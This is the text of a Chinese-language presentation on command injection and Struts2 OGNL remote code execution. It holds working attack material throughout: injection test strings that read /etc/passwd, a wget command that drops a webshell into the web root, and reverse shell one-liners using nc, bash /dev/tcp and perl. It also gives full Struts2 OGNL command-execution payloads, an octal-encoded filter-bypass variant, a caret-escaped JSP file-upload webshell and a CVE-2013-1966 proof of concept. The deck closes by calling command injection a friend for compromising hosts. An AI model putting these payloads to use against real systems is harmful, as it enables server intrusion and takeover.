關於Command Injection的小技巧
AKPotter@hack-stuff.com
06/01
1
Outline
1. Test Pattern
2. Get Shell tips
– Linux
– Windows
3. Reverse Shell tips
4. Real Case : About Struts2漏洞
2
Test Pattern
• 測試:看起來像有「執行」動作的
或是「檔案存取」動作的參數
• EX : [ 192.168.1.106;cat /etc/passwd ]
3
Test Pattern
• 可以測試的 Pattern
; | & %0a(換行) && ||
• 但
; Windows不執行
&&(只有第一個成功,第二個才會執行)
…
• 推薦使用 | (會只執行你注入的命令)
• “| netstat” 快速跨平台測試
• “| ping –n 30 127.0.0.1” 盲命令執行
4
Get Shell
• 最簡單的
– wget,curl(Linux),fetch(Freebsd)
– EX: wget http://codepad.org/234/raw.php -O /var/www/html/aaa.php
5
Get Shell
• Windows 怎麼辦?
• ftp , tftp 是個方法,但..
– ftp anynomous站好找,但若不是有
個命令檔可以載入,它需要一個可互
動的shell。
– tftp 做得到直接上傳,但找不太到
anynomous的站台,除非自己架。
6
Get Shell
• Echo 寫檔
– Linux : 功能比較多,有雙引號
• 特殊符要用號,不過也可用其他方式避過
• echo “<?php helloworld ?>” > a.php
echo -e 'x77x67x65x74' > a.php
echo "bHMgLWFsCg=="|base64 –d >
a.php
– Win : 功能少但還是寫的進去
• 特殊符號要用^號 ex :^>, ^<, or ^|
• echo ^<?php echo "1";?^> > a.php
7
Get Shell
• Echo 寫檔時注意 :
• “>”: redirection 要有shell才能用
• 杯具:
Java 的 java.lang.runtime.Runtime.exec
跟 ASP.NET 的
System.Diagnostics.Start.Process 不支援
8
Get Shell
• Linux
sh –c ls –al
(注意:Java必須使用string array
塞入字串,否則不能成功)
• Windows
cmd /c dir
9
Reverse Shell
• 請參閱 reverse shell cheat sheet
• http://pentestmonkey.net/cheat-
sheet/shells/reverse-shell-cheat-
sheet
• 有nc bash php perl python ruby
等等的反連方式。
10
Reverse Shell
• nc -e /bin/sh 10.0.0.1 1234
• bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
• perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET
,SOCK_STREAM,getprotobyname("tcp"));if(conn
ect(S,sockaddr_in($p,inet_aton($i)))){open(STDI
N,">&S");open(STDOUT,">&S");open(STDERR,"
>&S");exec("/bin/sh -i");};'
11
Reverse Shell
• 彈回來一個netcat卻無法互動??
• 需要個tty
• python -c 'import pty;
pty.spawn("/bin/sh")‘
• 這樣一般就能取得互動shell,而
python pty在linux下預設安裝
12
Famous Struts2 Execution
• 甚麼是Struts2
– Java的一種MVC框架,所有的
request的參數都會先經由struts
action controller處理後,在印出
到頁面上。
– Struts2遠端執行漏洞:其實比較
像是eval類的漏洞,因為它是遠端
執行代碼,只是不是純Java or jsp,
而是遵循OGNL型式的java代碼。
13
終極漏洞利用工具?
• 終極?
– 上傳的編碼錯誤
– Echo 上傳錯誤
– Windows幾乎都無法上傳webshell
14
終極漏洞利用工具?
• 念在你有創意,夠噱頭
還有五分鐘 重做一個吧….
15
大概了解一下OGNL
• OGNL運算式(可以存取Java物件
數任意屬性及方法)
• 屬性的引用 例如:user.name
• 變數的引用 例如:#name
• 靜態變數的訪問 使用
@class@field
• 靜態方法的調用 使用
@class@method(args
• 構造函數的調用 例如:
new java.util.ArrayList();
16
從0開始
●執行簡單命令
('#_memberAccess.allowStaticMethodAccess')(a)=true
&(aa)(('#context['xwork.MethodAccessor.denyMethodExecution']=false')(a))
&(ab)(('#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET')(a))
&(ac)(('#req=@org.apache.struts2.ServletActionContext@getRequest()')(a))
&(ad)(('#webRootzpro=@java.lang.Runtime@getRuntime().exec(#req.getParameter("cmd"))')(a))
&(ae)(('#webRootzproreader=new java.io.DataInputStream(#webRootzpro.getInputStream())')(a))
&(af)(('#webStr=new byte[10000]')(a))
&(ag)(('#webRootzproreader.readFully(#webStr)')(a))
&(ah)(('#webStr12=new java.lang.String(#webStr)')(a))
&(ai)(('#xman=@org.apache.struts2.ServletActionContext@getResponse()')(a))
&(aj)(('#xman.getWriter().println(#webStr12)')(a))
&(ak)(('#xman.getWriter().close()')(a))
&cmd=whoami
17
Ascii 取代
• format(ord("#"),'o')  43
18
Ascii 取代
●執行簡單命令
('43_memberAccess.allowStaticMethodAccess')(a)=true
&(aa)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a))
&(ab)(('43_memberAccess.excludeProperties75@java.util.Collections@EMPTY_SET')(a))
&(ac)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a))
&(ad)(('43webRootzpro75@java.lang.Runtime@getRuntime().exec(43req.getParameter(%22cmd%22))')(a))
&(ae)(('43webRootzproreader75new40java.io.DataInputStream(43webRootzpro.getInputStream())')(a))
&(af)(('43webStr75new40byte[10000]')(a))
&(ag)(('43webRootzproreader.readFully(43webStr)')(a))
&(ah)(('43webStr1275new40java.lang.String(43webStr)')(a))
&(ai)(('43xman75@org.apache.struts2.ServletActionContext@getResponse()')(a))
&(aj)(('43xman.getWriter().println(43webStr12)')(a))
&(ak)(('43xman.getWriter().close()')(a))
&cmd=whoami
19
在 ognl 中取代被過濾的字元 漏洞CVE-2011-3923使用8進位繞過
#  43, =  75, 空格  40 ,
並盡量用 getRequest 代入參數(可用urlencode), 防止被過濾的字元
Windows echo上傳測試
• cmd.exe+/c+echo+^<^%^@page^+language^=^"java^"^%^>^<^%^@page^+import^=^"java^.io^.File
^,java^.io^.OutputStream^,java^.io^.FileOutputStream^"^%^>^<html^>^<body^>^<form^+action^=^"^
#^"^+method^=^"post^"^>^<input^+size^=^"90^"^+value^=^"^<^%^=application^.getRealPath^(^"^/^"
^)^%^>^"^+name^=^"p^"^>^<br^>^<textarea^+rows^=^"20^"^+cols^=^"80^"^+name^=^"t^"^>^<^/text
area^>^<br^>^<input^+type^=^"hidden^"^+value^=^"1^"^+name^=^"m^"^>^<^/form^>^<^%String^+
m^=request^.getParameter^(^"m^"^)^;if^(m^!^=null^&^&m^.equals^(^"1^"^)^)^{String^+p^=request^.
getParameter^(^"p^"^)^;String^+t^=request^.getParameter^(^"t^"^)^;File^+f^=new^+File^(p^)^;if^(f^.e
xists^(^)^)^{f^.delete^(^)^;^}try^{OutputStream^+o^=new^+FileOutputStream^(f^)^;o^.write^(t^.getByt
es^(^)^)^;o^.close^(^)^;^%^>success^<^%^}catch^(Exception^+e^)^{^%^>failed^<^%^}^}^%^>^<^/bo
dy^>^<^/html^>>"D:Program+FilesApache+Software+FoundationTomcat+6.0webappscchtfman.j
sp"
20
preg_replace('/(W)/', '^$1', ‘your shell’, -1, $count);
Linux echo上傳
• Runtime.getRuntime().exec(“cat
/home/gpx/script.sh > log”)
這樣是不能執行redirect>的!!
• 正確的寫法
cmd=new String[3];
cmd[0]="sh“;
cmd[1]="-c“;
cmd[2]= req.getParameter("t");
java.lang.Runtime@getRuntime().exec(cmd);
21
Struts純Java 上傳
• u0023 太早之前就修復了 不該
當作 pattern  應修改成 43
• Demo
22
To be continue…
• CVE-2013-1966 (2013-05-23)
POC
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22all
owStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}
23
簡單demo
• Struts2漏洞其實吃的變數不管是get
或post都可以,但為了隱蔽,我們使
用post 方法
• 安裝 firefox 外掛 hackbar來實現 post
• 回傳時格式有時瀏覽器不支援,用
view-source
24
25
小測試截圖
結論
1. Command injection 是您抓雞的好朋友
2. struts2漏洞終極利用工具??
26

cmd injection